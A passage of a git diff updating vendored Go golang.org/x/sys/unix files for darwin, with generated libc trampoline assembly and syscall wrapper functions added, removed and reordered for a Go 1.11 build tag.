-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlink(SB)
-+TEXT ·libc_symlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_symlinkat(SB)
-+TEXT ·libc_sync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sync(SB)
-+TEXT ·libc_truncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_truncate(SB)
-+TEXT ·libc_umask_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_umask(SB)
-+TEXT ·libc_undelete_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_undelete(SB)
-+TEXT ·libc_unlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlink(SB)
-+TEXT ·libc_unlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unlinkat(SB)
-+TEXT ·libc_unmount_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_unmount(SB)
-+TEXT ·libc_write_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_write(SB)
-+TEXT ·libc_mmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mmap(SB)
-+TEXT ·libc_munmap_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munmap(SB)
-+TEXT ·libc_ptrace_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ptrace(SB)
-+TEXT ·libc_gettimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_gettimeofday(SB)
-+TEXT ·libc_fstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstat64(SB)
-+TEXT ·libc_fstatat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatat64(SB)
-+TEXT ·libc_fstatfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fstatfs64(SB)
-+TEXT ·libc_getfsstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getfsstat64(SB)
-+TEXT ·libc_lstat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lstat64(SB)
-+TEXT ·libc_stat64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_stat64(SB)
-+TEXT ·libc_statfs64_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_statfs64(SB)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
-similarity index 85%
-copy from vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
-index 7a409745..cea04e04 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.1_11.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags darwin,arm syscall_bsd.go syscall_darwin.go syscall_darwin_arm.go
-+// go run mksyscall.go -l32 -tags darwin,arm,!go1.12 syscall_bsd.go syscall_darwin.go syscall_darwin_arm.1_11.go syscall_darwin_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build darwin,arm
-+// +build darwin,arm,!go1.12
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,8 +350,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+func getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_GETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +372,161 @@ func pipe() (r int, w int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_FGETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(position), uintptr(options))
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fsetxattr(fd int, attr string, data *byte, size int, position uint32, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSETXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(data)), uintptr(size), uintptr(position), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func removexattr(path string, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fremovexattr(fd int, attr string, options int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(attr)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_FREMOVEXATTR, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(options))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func listxattr(path string, dest *byte, size int, options int) (sz int, err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ r0, _, e1 := Syscall6(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func flistxattr(fd int, dest *byte, size int, options int) (sz int, err error) {
-+ r0, _, e1 := Syscall6(SYS_FLISTXATTR, uintptr(fd), uintptr(unsafe.Pointer(dest)), uintptr(size), uintptr(options), 0, 0)
-+ sz = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error) {
-+ _, _, e1 := Syscall6(SYS_SETATTRLIST, uintptr(unsafe.Pointer(path)), uintptr(list), uintptr(buf), uintptr(size), uintptr(options), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ val = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func kill(pid int, signum int, posix int) (err error) {
- _, _, e1 := Syscall(SYS_KILL, uintptr(pid), uintptr(signum), uintptr(posix))
- if e1 != 0 {
-@@ -408,6 +547,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS_SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(infd int, outfd int, offset int64, len *int64, hdtr unsafe.Pointer, flags int) (err error) {
-+ _, _, e1 := Syscall9(SYS_SENDFILE, uintptr(infd), uintptr(outfd), uintptr(offset), uintptr(offset>>32), uintptr(unsafe.Pointer(len)), uintptr(hdtr), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -672,26 +837,6 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTAT64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-- _, _, e1 := Syscall(SYS_FSTATFS64, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -712,23 +857,6 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -930,21 +1058,6 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LSTAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Mkdir(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1229,8 +1342,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1375,36 +1489,6 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1607,3 +1691,94 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
